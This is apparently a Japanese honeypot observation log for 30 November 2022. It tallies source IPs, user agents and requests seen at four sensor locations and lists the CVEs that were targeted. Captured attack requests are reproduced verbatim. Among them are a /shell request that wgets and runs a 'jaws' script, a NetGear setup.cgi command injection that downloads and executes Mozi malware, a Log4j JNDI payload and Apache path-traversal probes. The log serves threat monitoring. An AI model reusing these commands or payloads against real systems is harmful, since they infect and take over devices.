2022/11/30 ハニーポット(仮) 観測記録

ハニーポット(仮) 観測記録 2022/11/30分です。

特徴

共通

GPONルータの脆弱性を狙うアクセス
Telerik UIの脆弱性(CVE-2019-18935)を狙うアクセス
CensysInspectによるスキャン行為
zgrabによるスキャン行為
/.envへのスキャン行為

Location:JP

Apache HTTP Serverの脆弱性(CVE-2021-41773)を狙うアクセス
Atlassian Jira Server/Data Centerの脆弱性(CVE-2021-26086)を狙うアクセス
NetGear製品の脆弱性を狙うアクセス
/.awsへのスキャン行為
/.gitへのスキャン行為
Apache Tomcatへのスキャン行為
Gh0stRATのような動き
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget 185.216.71.192/jaws;
sh /tmp/jaws

Location:US

Apache Log4j2の脆弱性(CVE-2021-44228)を狙うアクセス
Spring Cloud Gatewayの脆弱性(CVE-2022-22947)を狙うアクセス
/.gitへのスキャン行為
Apache Tomcatへのスキャン行為

を確認しました。

Location:UK

Apache HTTP Serverの脆弱性(CVE-2021-41773)を狙うアクセス
D-link製品の脆弱性を狙うアクセス
Spring Cloud Gatewayの脆弱性(CVE-2022-22947)を狙うアクセス

を確認しました。

Location:SG

Apache HTTP Serverの脆弱性(CVE-2021-41773)を狙うアクセス
D-link製品の脆弱性を狙うアクセス
NetGear製品の脆弱性を狙うアクセス
Spring Cloud Gatewayの脆弱性(CVE-2022-22947)を狙うアクセス
curlによるスキャン行為
.cssへのスキャン行為
/.gitへのスキャン行為

を確認しました。

他

アクセス数推移

JP：総アクセス数：301 (前日比：189)
US：総アクセス数：85 (前日比：-31)
UK：総アクセス数：85 (前日比：3)
SG：総アクセス数：253 (前日比：177)

都合により GET / HTTP/1.1 POST / HTTP/1.1 は除いています。

Location:JP

送信元IPアドレス一覧

件数	送信元IPアドレス	国
128	3.25.150.59	United States
71	20.55.81.12	United States
1	20.168.221.111	United States
10	34.239.174.95	United States
1	45.79.128.205	United States
1	45.79.172.21	United States
1	66.240.205.34	United States
6	95.214.235.205	Ukraine
1	104.208.233.149	United States
6	106.75.3.239	China
1	109.206.241.102	Bulgaria
2	109.237.97.180	Russia
2	109.237.98.226	Russia
6	117.187.173.2	China
1	117.252.169.109	India
1	122.114.76.100	China
4	128.14.133.58	United States
6	135.125.217.54	France
6	135.125.244.48	France
2	146.190.227.4	United States
1	152.32.135.149	Hong Kong
1	152.32.253.152	Hong Kong
1	161.35.213.88	United States
1	167.94.145.60	United States
1	172.104.11.4	United States
2	172.104.11.46	United States
1	172.105.128.11	United States
1	172.105.128.12	United States
1	183.136.225.32	China
18	185.3.94.247	United States
4	185.254.196.115	Ukraine
1	192.155.90.220	United States
1	192.241.202.93	United States
1	192.241.204.108	United States
1	192.241.207.245	United States
1	193.118.53.210	United States
2	194.55.186.124	Bulgaria
1	199.101.192.79	United States
1	205.185.121.69	United States
1	205.210.31.30	United States
1	205.210.31.170	United States
1	211.184.165.219	South Korea

UserAgent一覧

件数	UserAgent
26	-
15	Go-http-client/1.1
1	Hello, world
4	Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30
70	Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0
1	Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36
1	Mozilla/5.0 (Macintosh; Intel Mac OS X 8_2) AppleWebKit/537.46 (KHTML, like Gecko) Chrome/69.0.1080 Safari/537.36
1	Mozilla/5.0 (Macintosh; Intel Mac OS X 9_2) AppleWebKit/590.45 (KHTML, like Gecko) Chrome/52.0.995 Safari/537.36
6	Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
5	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
5	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36
1	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36
1	Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 QIHU 360SE
1	Mozilla/5.0 (Windows NT 8_1_1; Win64; x64) AppleWebKit/565.40 (KHTML, like Gecko) Chrome/95.0.1992 Safari/537.36
1	Mozilla/5.0 (Windows NT 9_2_1; Win64; x64) AppleWebKit/597.55 (KHTML, like Gecko) Chrome/88.0.1870 Safari/537.36
153	Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
1	Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/567.55 (KHTML, like Gecko) Chrome/104.0.64 Safari/537.36
1	Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/591.45 (KHTML, like Gecko) Chrome/96.0.115 Safari/537.36
2	Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0
1	Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)
2	Mozilla/5.0 zgrab/0.x
1	Report Runner
1	python-requests/2.28.1

リクエスト内容一覧

件数	Method	Request	Protocol
1		Gh0st\xad
1		HELP
1		MGLNDD_18.179.20.5_80\n
2		\x16\x03\x01\x01H\x01
20		\x16\x03\x01
1	GET	/.DS_Store	HTTP/1.1
1	GET	/.aws/credentials	HTTP/1.1
1	GET	/.c9/metadata/environment/.env	HTTP/1.1
1	GET	/.docker/.env	HTTP/1.1
1	GET	/.env.%7B%7BDN%7D%7D	HTTP/1.1
1	GET	/.env.%7B%7BSD%7D%7D	HTTP/1.1
1	GET	/.env.backup	HTTP/1.1
1	GET	/.env.dev	HTTP/1.1
1	GET	/.env.development	HTTP/1.1
1	GET	/.env.dist	HTTP/1.1
1	GET	/.env.example	HTTP/1.1
1	GET	/.env.local	HTTP/1.1
1	GET	/.env.old	HTTP/1.1
1	GET	/.env.php	HTTP/1.1
2	GET	/.env.prod	HTTP/1.1
1	GET	/.env.production.local	HTTP/1.1
1	GET	/.env.production	HTTP/1.1
1	GET	/.env.project	HTTP/1.1
2	GET	/.env.save	HTTP/1.1
1	GET	/.env.stage	HTTP/1.1
1	GET	/.env.test	HTTP/1.1
1	GET	/.env.www	HTTP/1.1
1	GET	/.env_1	HTTP/1.1
1	GET	/.env_sample	HTTP/1.1
32	GET	/.env	HTTP/1.1
2	GET	/.git/config	HTTP/1.1
1	GET	/.json	HTTP/1.1
1	GET	/99vt	HTTP/1.1
1	GET	/99vu	HTTP/1.1
1	GET	/?phpinfo=1	HTTP/1.1
1	GET	/?rest_route=/wp/v2/users/	HTTP/1.1
1	GET	/Telerik.Web.UI.WebResource.axd?type=rau	HTTP/1.1
1	GET	/_profiler/phpinfo	HTTP/1.1
1	GET	/_static/.env	HTTP/1.1
1	GET	/aaaaaaaaaaaaaaaaaaaaaaaaaqr	HTTP/1.1
1	GET	/about	HTTP/1.1
1	GET	/actions-server/.env	HTTP/1.1
2	GET	/admin-app/.env	HTTP/1.1
1	GET	/admin.php	HTTP/1.1
1	GET	/admin/.env	HTTP/1.1
1	GET	/admin/dashboard/info.php	HTTP/1.1
1	GET	/admin/dashboard/phpinfo.php	HTTP/1.1
1	GET	/admin/dashboard/phpinfo	HTTP/1.1
1	GET	/admin/info.php	HTTP/1.1
1	GET	/admin/infophp.php	HTTP/1.1
1	GET	/admin/phpinfo.php	HTTP/1.1
1	GET	/admin/phpinfo	HTTP/1.1
1	GET	/adminer/.env	HTTP/1.1
1	GET	/administrator/.env	HTTP/1.1
1	GET	/administrator/info.php	HTTP/1.1
1	GET	/administrator/phpinfo.php	HTTP/1.1
1	GET	/apache.php	HTTP/1.1
1	GET	/api/.env	HTTP/1.1
1	GET	/api/search?folderIds=0	HTTP/1.1
1	GET	/app/.env	HTTP/1.1
1	GET	/application/.env	HTTP/1.1
1	GET	/apps/.env	HTTP/1.1
2	GET	/axis2-admin/	HTTP/1.1
2	GET	/axis2/	HTTP/1.1
2	GET	/axis2/axis2-admin/	HTTP/1.1
1	GET	/back/.env	HTTP/1.1
1	GET	/check.php	HTTP/1.1
1	GET	/cms/.env	HTTP/1.1
2	GET	/config.json	HTTP/1.1
1	GET	/console/info.php	HTTP/1.1
1	GET	/console/phpinfo.php	HTTP/1.1
1	GET	/core/.env	HTTP/1.1
1	GET	/cp/.env	HTTP/1.1
1	GET	/dashboard/admin/info.php	HTTP/1.1
1	GET	/dashboard/admin/phpinfo.php	HTTP/1.1
1	GET	/dashboard/admin/phpinfo	HTTP/1.1
1	GET	/dashboard/info.php	HTTP/1.1
1	GET	/dashboard/phpinfo.php	HTTP/1.1
1	GET	/dashboard/phpinfo	HTTP/1.1
1	GET	/dashboard/test.php	HTTP/1.1
1	GET	/dashboardadmin/info.php	HTTP/1.1
1	GET	/dashboardadmin/phpinfo.php	HTTP/1.1
1	GET	/dashboardadmin/phpinfo	HTTP/1.1
2	GET	/debug/default/view?panel=config	HTTP/1.1
1	GET	/deploy.php	HTTP/1.1
1	GET	/dev.php	HTTP/1.1
1	GET	/development/.env	HTTP/1.1
1	GET	/docker/.env	HTTP/1.1
1	GET	/druid/index.html	HTTP/1.1
1	GET	/ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application	HTTP/1.1
1	GET	/env/phpinfo	HTTP/1.1
1	GET	/enviroments/.env.production	HTTP/1.1
1	GET	/enviroments/.env	HTTP/1.1
6	GET	/favicon.ico	HTTP/1.1
1	GET	/fedex/.env	HTTP/1.1
1	GET	/foo.php	HTTP/1.1
1	GET	/forum/info.php	HTTP/1.1
1	GET	/forum/phpinfo.php	HTTP/1.1
1	GET	/frontend_dev.php/$	HTTP/1.1
1	GET	/i.php	HTTP/1.1
1	GET	/in.php	HTTP/1.1
1	GET	/index.php	HTTP/1.1
1	GET	/index1.php	HTTP/1.1
1	GET	/inf.php	HTTP/1.1
4	GET	/info.php	HTTP/1.1
1	GET	/info1.php	HTTP/1.1
1	GET	/info2.php	HTTP/1.1
1	GET	/info3.php	HTTP/1.1
1	GET	/info4.php	HTTP/1.1
1	GET	/infophp.php	HTTP/1.1
1	GET	/infophp/index.php	HTTP/1.1
1	GET	/infophp/testphp.php	HTTP/1.1
1	GET	/information.php	HTTP/1.1
1	GET	/information	HTTP/1.1
1	GET	/infos.php	HTTP/1.1
1	GET	/ini.php	HTTP/1.1
1	GET	/laravel/.env	HTTP/1.1
1	GET	/live_env	HTTP/1.1
1	GET	/local-info.php	HTTP/1.1
1	GET	/local-phpinfo.php	HTTP/1.1
1	GET	/local/.env	HTTP/1.1
1	GET	/login.action	HTTP/1.1
1	GET	/manager/html	HTTP/1.1
1	GET	/o.php	HTTP/1.1
1	GET	/old_phpinfo.php	HTTP/1.1
1	GET	/p.php	HTTP/1.1
1	GET	/php-info.php	HTTP/1.1
1	GET	/php-info	HTTP/1.1
1	GET	/php.ini	HTTP/1.1
1	GET	/php.php	HTTP/1.1
1	GET	/php/phpinfo.php	HTTP/1.1
1	GET	/php1.php	HTTP/1.1
1	GET	/php_details	HTTP/1.1
1	GET	/php_info.php	HTTP/1.1
1	GET	/phpdetails	HTTP/1.1
1	GET	/phpinfo.html	HTTP/1.1
3	GET	/phpinfo.php	HTTP/1.1
1	GET	/phpinfo.txt	HTTP/1.1
1	GET	/phpinfo/info.php	HTTP/1.1
1	GET	/phpinfo/php-details.php	HTTP/1.1
1	GET	/phpinfo/phpinfo.php	HTTP/1.1
1	GET	/phpinfo1.php	HTTP/1.1
1	GET	/phpinfo2.php	HTTP/1.1
1	GET	/phpinfo3.php	HTTP/1.1
1	GET	/phpinfo	HTTP/1.1
1	GET	/phpinformation	HTTP/1.1
1	GET	/phpinfos.php	HTTP/1.1
1	GET	/phptest.php	HTTP/1.1
1	GET	/phpversion.php	HTTP/1.1
1	GET	/pi.php	HTTP/1.1
1	GET	/pinfo.php	HTTP/1.1
1	GET	/private/.env	HTTP/1.1
1	GET	/rest.php	HTTP/1.1
1	GET	/rest/.env	HTTP/1.1
4	GET	/robots.txt	HTTP/1.1
1	GET	/root/info.php	HTTP/1.1
1	GET	/root/infophp	HTTP/1.1
1	GET	/root/phpinfo.php	HTTP/1.1
1	GET	/s/53e20323e2937313e28313/_/;/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.properties	HTTP/1.1
1	GET	/script/.env	HTTP/1.1
1	GET	/scripts/index.php	HTTP/1.1
1	GET	/scripts/info.php	HTTP/1.1
1	GET	/scripts/phpinfo.php	HTTP/1.1
1	GET	/scripts/phpinfo	HTTP/1.1
1	GET	/server-status	HTTP/1.1
1	GET	/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http[:]//117[.]252[.]169[.]109:35904/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1	HTTP/1.0
1	GET	/shared/.env	HTTP/1.1
1	GET	/shell?cd+/tmp;rm+-rf+*;wget+185[.]216[.]71[.]192/jaws;sh+/tmp/jaws	HTTP/1.1
2	GET	/sitemap.xml	HTTP/1.1
1	GET	/sources/.env	HTTP/1.1
1	GET	/system/.env	HTTP/1.1
1	GET	/telescope/requests	HTTP/1.1
1	GET	/test.php	HTTP/1.1
1	GET	/test1.php	HTTP/1.1
1	GET	/test1	HTTP/1.1
1	GET	/test2.php	HTTP/1.1
1	GET	/test3.php	HTTP/1.1
1	GET	/test4.php	HTTP/1.1
1	GET	/testphp.php	HTTP/1.1
1	GET	/testphpinfo.php	HTTP/1.1
1	GET	/testphpinfo	HTTP/1.1
1	GET	/token.php	HTTP/1.1
1	GET	/tools/info.php	HTTP/1.1
1	GET	/tools/phpinfo.php	HTTP/1.1
1	GET	/tools/phpinfo	HTTP/1.1
1	GET	/v2/_catalog	HTTP/1.1
1	GET	/webdav/info.php	HTTP/1.1
1	GET	/webdav/phpinfo.php	HTTP/1.1
1	GET	/webdav/phpinfo	HTTP/1.1
1	HEAD	/icons/.%%32%65/.%%32%65/apache2/icons/non-existant-image.png	HTTP/1.1
1	HEAD	/icons/.%%32%65/.%%32%65/apache2/icons/sphere1.png	HTTP/1.1
1	HEAD	/icons/.%2e/%2e%2e/apache2/icons/sphere1.png	HTTP/1.1
1	HEAD	/icons/sphere1.png	HTTP/1.1
1	POST	/.env.development	HTTP/1.1
1	POST	/.env.dist	HTTP/1.1
1	POST	/.env.old	HTTP/1.1
1	POST	/.env.prod	HTTP/1.1
1	POST	/.env.production	HTTP/1.1
1	POST	/.env.project	HTTP/1.1
1	POST	/.env.save	HTTP/1.1
1	POST	/.env	HTTP/1.1
1	POST	/admin-app/.env	HTTP/1.1
1	POST	/api/.env	HTTP/1.1
1	POST	/app/.env	HTTP/1.1
1	POST	/application/.env	HTTP/1.1
1	POST	/apps/.env	HTTP/1.1
1	POST	/back/.env	HTTP/1.1
2	POST	/boaform/admin/formLogin	HTTP/1.1
1	POST	/cms/.env	HTTP/1.1
1	POST	/core/.env	HTTP/1.1
1	POST	/cp/.env	HTTP/1.1
1	POST	/development/.env	HTTP/1.1
1	POST	/docker/.env	HTTP/1.1
1	POST	/enviroments/.env.production	HTTP/1.1
1	POST	/enviroments/.env	HTTP/1.1
1	POST	/fedex/.env	HTTP/1.1
1	POST	/laravel/.env	HTTP/1.1
1	POST	/live_env	HTTP/1.1
1	POST	/local/.env	HTTP/1.1
1	POST	/private/.env	HTTP/1.1
1	POST	/rest/.env	HTTP/1.1
1	POST	/script/.env	HTTP/1.1
1	POST	/shared/.env	HTTP/1.1
1	POST	/sources/.env	HTTP/1.1
1	POST	/system/.env	HTTP/1.1
1	PUT	/api/v2/cmdb/system/admin/admin	HTTP/1.1

Location:US

送信元IPアドレス一覧

件数	送信元IPアドレス	国
2	20.124.121.193	United States
1	20.150.210.254	United States
1	37.44.238.183	France
1	45.61.188.24	United States
1	45.79.128.205	United States
1	45.79.181.104	United States
2	45.79.181.251	United States
3	51.79.29.48	Canada
16	54.37.79.75	France
1	65.49.20.90	United States
1	66.175.213.4	United States
1	68.183.54.68	United States
1	92.255.85.183	Hong Kong
1	102.89.33.246	Nigeria
1	128.1.131.187	United States
2	128.199.40.114	United Kingdom
1	141.98.82.22	Panama
6	141.255.166.2	Panama
1	142.93.75.238	United States
1	152.32.150.67	Hong Kong
2	152.89.196.211	Russia
1	154.6.93.157	United States
2	162.142.125.10	United States
2	167.94.145.60	United States
2	170.64.154.115	United States
1	172.104.11.4	United States
2	172.104.11.34	United States
1	172.104.11.51	United States
1	172.105.128.12	United States
2	173.214.175.178	United States
2	179.43.177.154	Panama
8	185.254.196.223	Ukraine
1	192.99.62.110	Canada
2	192.155.90.118	United States
1	192.241.195.48	United States
1	192.241.199.211	United States
1	192.241.205.124	United States
1	192.241.205.238	United States
1	193.118.53.210	United States
2	194.55.186.124	Bulgaria
2	194.55.186.216	Bulgaria
1	198.199.95.35	United States
1	219.154.99.52	China

UserAgent一覧

件数	UserAgent
25	-
2	Go-http-client/1.1
1	Mozilla/5.0 (Linux; Android 7.0; Nexus 9 Build/NRD90R) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.124 Safari/537.36
3	Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30
1	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36
2	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
1	Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
1	Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
31	Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
12	Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0
2	Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)
4	Mozilla/5.0 zgrab/0.x

リクエスト内容一覧

件数	Method	Request	Protocol
1		MGLNDD_34.68.118.83_80\n
2		\x03
19		\x16\x03\x01
2	CONNECT	cloudflare[.]com:443	HTTP/1.1
34	GET	/.env	HTTP/1.1
1	GET	/?XDEBUG_SESSION_START=phpstorm	HTTP/1.1
1	GET	/?x=${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://${hostName}.uri.ce2gqul71kdv5eo00010dpt1axjtyfhxt.oast.pro/a}	HTTP/1.1
1	GET	/ReportServer	HTTP/1.1
1	GET	/Telerik.Web.UI.WebResource.axd?type=rau	HTTP/1.1
1	GET	/actuator/gateway/routes	HTTP/1.1
1	GET	/boaform/admin/formLogin?username=adminisp&psd=adminisp	HTTP/1.0
1	GET	/druid/index.html	HTTP/1.1
3	GET	/favicon.ico	HTTP/1.1
1	GET	/manager/html	HTTP/1.1
1	GET	/manager/text/list	HTTP/1.1
1	GET	/wp-content/.git/config	HTTP/1.1
12	POST	/boaform/admin/formLogin	HTTP/1.1
2	PRI	*	HTTP/2.0

Location:UK

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	37.44.238.183	France
1	45.33.80.243	United States
1	45.61.188.24	United States
1	45.79.128.205	United States
1	45.79.181.104	United States
1	45.79.181.179	United States
1	45.79.181.251	United States
22	51.79.29.48	Canada
1	54.37.79.75	France
1	64.62.197.53	United States
1	66.175.213.4	United States
6	106.75.84.21	China
1	109.206.243.220	Bulgaria
2	109.237.98.226	Russia
1	118.26.104.39	Hong Kong
5	128.14.134.134	United States
1	141.98.82.22	Panama
7	141.255.166.2	Panama
2	152.89.196.211	Russia
2	167.248.133.119	United States
1	172.104.11.4	United States
2	172.104.11.46	United States
1	172.104.11.51	United States
1	172.105.77.209	United States
1	172.105.89.161	United States
1	172.105.128.12	United States
1	173.214.175.178	United States
8	185.254.196.223	Ukraine
1	192.155.90.118	United States
1	192.241.203.198	United States
1	192.241.207.140	United States
2	194.55.186.124	Bulgaria
2	194.55.186.216	Bulgaria
1	198.199.97.176	United States
1	198.235.24.151	United States
1	203.115.91.33	India

UserAgent一覧

件数	UserAgent
21	-
1	Go-http-client/1.1
1	Mozilla/5.0 (Linux; U; Android 1.6; es-es; SonyEricssonX10i Build/R1FA016) AppleWebKit/528.5 (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1
1	Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:106.0) Gecko/20100101 Firefox/106.0
1	Mozilla/5.0 (Macintosh; Intel Mac OS X 9_2) AppleWebKit/576.36 (KHTML, like Gecko) Chrome/51.0.1734 Safari/537.36
3	Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
5	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36
2	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
32	Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
1	Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/547.35 (KHTML, like Gecko) Chrome/72.0.755 Safari/537.36
1	Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/551.41 (KHTML, like Gecko) Chrome/50.0.2986 Safari/537.36
13	Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0
1	Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)
2	Mozilla/5.0 zgrab/0.x

リクエスト内容一覧

件数	Method	Request	Protocol
1		MGLNDD_132.145.66.34_80\n
1		\x03
1		\x16\x03\x01\x01H\x01
14		\x16\x03\x01
1		\xba\xabd\xa1EZC\xdbM\x87\xee^\xfd\xbf\x159	X\xd4>\x12\x98\xc4<\xe0\x13\xcf
1	CONNECT	cloudflare[.]com:443	HTTP/1.1
32	GET	/.env	HTTP/1.1
1	GET	/0bef	HTTP/1.0
1	GET	/?XDEBUG_SESSION_START=phpstorm	HTTP/1.1
1	GET	/ReportServer	HTTP/1.1
1	GET	/Telerik.Web.UI.WebResource.axd?type=rau	HTTP/1.1
1	GET	/actuator/gateway/routes	HTTP/1.1
1	GET	/axis2-admin/	HTTP/1.1
1	GET	/axis2/	HTTP/1.1
1	GET	/axis2/axis2-admin/	HTTP/1.1
1	GET	/druid/index.html	HTTP/1.1
1	GET	/explore	HTTP/1.1
3	GET	/favicon.ico	HTTP/1.1
1	GET	/robots.txt	HTTP/1.1
1	GET	/sitemap.xml	HTTP/1.1
1	HEAD	/icons/.%%32%65/.%%32%65/apache2/icons/non-existant-image.png	HTTP/1.1
1	HEAD	/icons/.%%32%65/.%%32%65/apache2/icons/sphere1.png	HTTP/1.1
1	HEAD	/icons/.%2e/%2e%2e/apache2/icons/sphere1.png	HTTP/1.1
1	HEAD	/icons/sphere1.png	HTTP/1.1
1	POST	/HNAP1/	HTTP/1.0
13	POST	/boaform/admin/formLogin	HTTP/1.1
1	PRI	*	HTTP/2.0

Location:SG

送信元IPアドレス一覧

件数	送信元IPアドレス	国
10	3.238.72.161	United States
1	20.21.104.86	United States
1	20.171.106.193	United States
1	27.41.18.154	China
1	37.44.238.183	France
3	42.123.125.6	China
1	45.61.188.24	United States
1	45.79.172.21	United States
1	45.79.181.94	United States
2	45.79.181.179	United States
1	51.103.115.111	United Kingdom
21	54.37.79.75	France
1	65.49.20.95	United States
1	66.175.213.4	United States
2	109.237.97.180	Russia
2	109.237.98.226	Russia
1	118.193.65.27	Hong Kong
1	120.85.115.25	China
1	128.14.141.34	United States
144	139.162.7.59	Netherlands
1	141.98.82.22	Panama
3	141.255.166.2	Panama
2	152.89.196.211	Russia
2	157.230.97.25	United States
5	157.254.225.239	United States
2	162.142.125.213	United States
2	162.142.125.221	United States
4	162.221.192.26	United States
1	172.104.11.4	United States
3	172.104.11.34	United States
1	172.104.11.46	United States
1	172.104.11.51	United States
1	172.105.128.11	United States
1	173.214.175.178	United States
2	179.43.177.154	Panama
2	183.136.225.32	China
4	185.142.236.40	Seychelles
1	192.241.197.73	United States
1	192.241.200.95	United States
2	193.56.29.26	United Kingdom
2	194.55.186.124	Bulgaria
6	194.55.186.216	Bulgaria
1	198.235.24.18	United States
6	223.111.175.5	China

UserAgent一覧

件数	UserAgent
36	-
1	Go-http-client/1.1
5	Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30
1	Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:80.0) Gecko/20100101 Firefox/80.0
1	Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:89.0)
1	Mozilla/5.0 (OS/2; Warp 4.5; rv:24.0) Gecko/20100101 Firefox/24.0
3	Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
5	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
1	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
5	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36
2	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
2	Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 QIHU 360SE
23	Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
1	Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/548.49 (KHTML, like Gecko) Chrome/89.0.395 Safari/537.36
1	Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/557.39 (KHTML, like Gecko) Chrome/62.0.756 Safari/537.36
1	Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/586.38 (KHTML, like Gecko) Chrome/83.0.2748 Safari/537.36
1	Mozilla/5.0 (X11; Linux x86_64; rv:83.0) Gecko/20100101 Firefox/83.0
13	Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0
2	Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)
1	Mozilla/5.0 zgrab/0.x
4	Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36
143	curl/7.54.0

リクエスト内容一覧

件数	Method	Request	Protocol
1		MGLNDD_13.67.44.234_80
1		\x03
2		\x16\x03\x01\x01H\x01
2		\x16\x03\x01\x02
22		\x16\x03\x01
1	CONNECT	cloudflare[.]com:443	HTTP/1.1
28	GET	/.env	HTTP/1.1
1	GET	/.git/HEAD	HTTP/1.1
1	GET	/.well-known/security.txt	HTTP/1.1
1	GET	/99vt	HTTP/1.1
1	GET	/99vu	HTTP/1.1
1	GET	/?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000	HTTP/1.1
1	GET	/?=PHPE9568F36-D428-11d2-A769-00AA001ACF42	HTTP/1.1
1	GET	/?XDEBUG_SESSION_START=phpstorm	HTTP/1.1
1	GET	/CSS/Miniweb.css	HTTP/1.1
1	GET	/HNAP1	HTTP/1.1
1	GET	/Portal/Portal.mwsl	HTTP/1.1
1	GET	/Portal0000.htm	HTTP/1.1
1	GET	/Telerik.Web.UI.WebResource.axd?type=rau	HTTP/1.1
1	GET	/__Additional	HTTP/1.1
1	GET	/_profiler/phpinfo	HTTP/1.1
1	GET	/a3ag	HTTP/1.1
1	GET	/aaaaaaaaaaaaaaaaaaaaaaaaaqr	HTTP/1.1
1	GET	/actuator/gateway/routes	HTTP/1.1
1	GET	/admin.asp	HTTP/1.1
1	GET	/admin.aspx	HTTP/1.1
1	GET	/admin.cfm	HTTP/1.1
1	GET	/admin.cgi	HTTP/1.1
1	GET	/admin.html	HTTP/1.1
1	GET	/admin.jhtml	HTTP/1.1
1	GET	/admin.jsa	HTTP/1.1
1	GET	/admin.jsp	HTTP/1.1
1	GET	/admin.php	HTTP/1.1
1	GET	/admin.pl	HTTP/1.1
1	GET	/admin.shtml	HTTP/1.1
1	GET	/aws.yml	HTTP/1.1
1	GET	/axis2-admin/	HTTP/1.1
1	GET	/axis2/	HTTP/1.1
